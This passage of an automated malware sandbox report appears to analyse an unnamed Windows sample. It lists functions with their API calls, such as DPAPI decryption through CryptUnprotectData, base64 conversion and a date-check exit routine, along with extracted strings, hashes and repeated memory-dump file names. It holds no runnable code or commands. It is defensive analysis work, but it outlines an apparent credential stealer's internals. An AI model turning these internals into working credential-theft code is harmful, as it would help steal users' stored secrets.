Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "x\[$"x\[$Crc$IlvO$J)=$KtN
API String ID: 0-3922113654
Opcode ID: 27716a84c2280ffebc497e10d95c040c6b428c388f84196a37a096e68acb1b4b
Instruction ID: 1168973cfc588eff135e650aa853a8e01eedf7e9c953e18a614d1d512c25dd12
Opcode Fuzzy Hash: 27716a84c2280ffebc497e10d95c040c6b428c388f84196a37a096e68acb1b4b
Instruction Fuzzy Hash: B8B23BF3A08204AFE304AE2DEC8577ABBE9EF94720F1A453DEAC4D3744E53558058697

Function 009AE019 Relevance: 9.0, Strings: 6, Instructions: 1523COMMON

Download Yara Rule

Strings

u(>o, xrefs: 009AF1C0
{,w{, xrefs: 009AE2D9
2_lw, xrefs: 009AF030
@~, xrefs: 009AEC30
uWSo, xrefs: 009AEEDE
gO{, xrefs: 009AE96E

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2_lw$@~$gO{$u(>o$uWSo${,w{
API String ID: 0-1763000257
Opcode ID: 0d99abb7dccf54fd9ccb04006f34d9f6e43a3d1f4f9c65a2cdfb86ab43d99136
Instruction ID: db88091225352b7d8966adcb68f943f69c6928033becf730bfdf618382a870ab
Opcode Fuzzy Hash: 0d99abb7dccf54fd9ccb04006f34d9f6e43a3d1f4f9c65a2cdfb86ab43d99136
Instruction Fuzzy Hash: 43B2F7F39082009FE704AF29EC4567AFBE9EF94720F16892DEAC4C7744E63598418797

Function 005E9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,005E4EEE,00000000,?), ref: 005E9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N^,00000000,00000000), ref: 005E9B2A
LocalFree.KERNEL32(?,?,?,?,005E4EEE,00000000,?), ref: 005E9B3F

Strings

N^, xrefs: 005E9AD4, 005E9AE1, 005E9AF9, 005E9B18, 005E9AE4, 005E9B1B

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N^
API String ID: 4291131564-102271716
Opcode ID: 71a2ba0f41ab36c1d0d4b95adf8124869537ed176536a41e1731ed66e0d426e8
Instruction ID: 10d277b7304c482eab99587b46fe0351a30776a1eaa98b4a65f11b21e998a4b8
Opcode Fuzzy Hash: 71a2ba0f41ab36c1d0d4b95adf8124869537ed176536a41e1731ed66e0d426e8
Instruction Fuzzy Hash: E111A2B4240208BFEB14CF64DC95FAA77B9FB89700F208058FA159B390C7B6A941CB90

Function 009B13B9 Relevance: 7.9, Strings: 5, Instructions: 1601COMMON

Download Yara Rule

Strings

4 a, xrefs: 009B20B2
'6w, xrefs: 009B1B18
g", xrefs: 009B1926
\yx_, xrefs: 009B17FA
vBk, xrefs: 009B1A54

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: g"$'6w$4 a$\yx_$vBk
API String ID: 0-3844290118
Opcode ID: 8088366b32a4fc9efbe00c37fa56df535c9cecd6daf42c03f67eced7a7273e49
Instruction ID: 7ed45c381bb201911b69336112ce4420b63230705bee16954a6304d77ba61cc9
Opcode Fuzzy Hash: 8088366b32a4fc9efbe00c37fa56df535c9cecd6daf42c03f67eced7a7273e49
Instruction Fuzzy Hash: 39B206F360C200AFE3046E29EC8567AFBE9EF94720F16892DEAC4C7744E63558458797

Function 005F6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 005F696C
sscanf.NTDLL ref: 005F6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005F69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005F69C0
ExitProcess.KERNEL32 ref: 005F69DA

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 4ddcf7b599673e4a581226aaa72372481e8ecb3c501fa4a2958b9e660f0a2180
Instruction ID: 455c131e5be6d8e57011c4591576bf2ad289e13d9fc5397592bfa57ef776d5ea
Opcode Fuzzy Hash: 4ddcf7b599673e4a581226aaa72372481e8ecb3c501fa4a2958b9e660f0a2180
Instruction Fuzzy Hash: 9221EAB5D1020DABCF08EFE4D9459EEBBB5FF48300F04852AE506E3254EB749605CB69

Function 005E7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 005E724D
RtlAllocateHeap.NTDLL(00000000), ref: 005E7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005E7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005E72A4
LocalFree.KERNEL32(?), ref: 005E72AE

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 8589eca7077af2a24f645c16bd4c53cc1b35754de6b79fb41617d3b908efbf04
Instruction ID: 0b97bbcdecdffa895209d3cb24f1d49399da1fcef0fd739492ca180dbf351fb1
Opcode Fuzzy Hash: 8589eca7077af2a24f645c16bd4c53cc1b35754de6b79fb41617d3b908efbf04
Instruction Fuzzy Hash: DB010075A40208BBEB28DFD4DD46F9E7BB9BF44700F108555FB05AA2C0D770AA018B65

Function 009B885A Relevance: 7.2, Strings: 5, Instructions: 995COMMON

Download Yara Rule

Strings

wgz, xrefs: 009B90E2
`}~, xrefs: 009B88E2
db3, xrefs: 009B9044
kk, xrefs: 009B8E9A
rLx, xrefs: 009B8F49

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `}~$ wgz$db3$rLx$kk
API String ID: 0-3895939656
Opcode ID: d876e97e63f450e738fae1615e697266f39b00ff4b32e3c8afef61a88b076856
Instruction ID: b0955cc1bd4a44aa3c6ed443d3c42664944d986d77076df0cbda6c97dfcf3d54
Opcode Fuzzy Hash: d876e97e63f450e738fae1615e697266f39b00ff4b32e3c8afef61a88b076856
Instruction Fuzzy Hash: F1524AF360C6009FE705AE29EC8577EB7E6EBD4320F1A893DE6C4C7744EA3558058692

Function 009B9BF1 Relevance: 6.6, Strings: 4, Instructions: 1575COMMON

Download Yara Rule

Strings

xsfm, xrefs: 009BAB16
ma, xrefs: 009B9F78
dk, xrefs: 009BA7F3
aO>, xrefs: 009BA788

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: aO>$dk$ma$xsfm
API String ID: 0-1669899585
Opcode ID: 132ef6347c834aac1857c7ed2169bfdcf4961ae66dcdc4d019fd5b2b63e8e792
Instruction ID: 4a5218a84293fa3f0735ac454839c053211031dc1c441b5ca4f3ae6ac6a8d363
Opcode Fuzzy Hash: 132ef6347c834aac1857c7ed2169bfdcf4961ae66dcdc4d019fd5b2b63e8e792
Instruction Fuzzy Hash: 18B208F3A0C6049FE308AE2DEC8567ABBE5EF94720F16493DEAC5C3744E63558018697

Function 005F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,005E5184,40000001,00000000,00000000,?,005E5184), ref: 005F8EC0

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
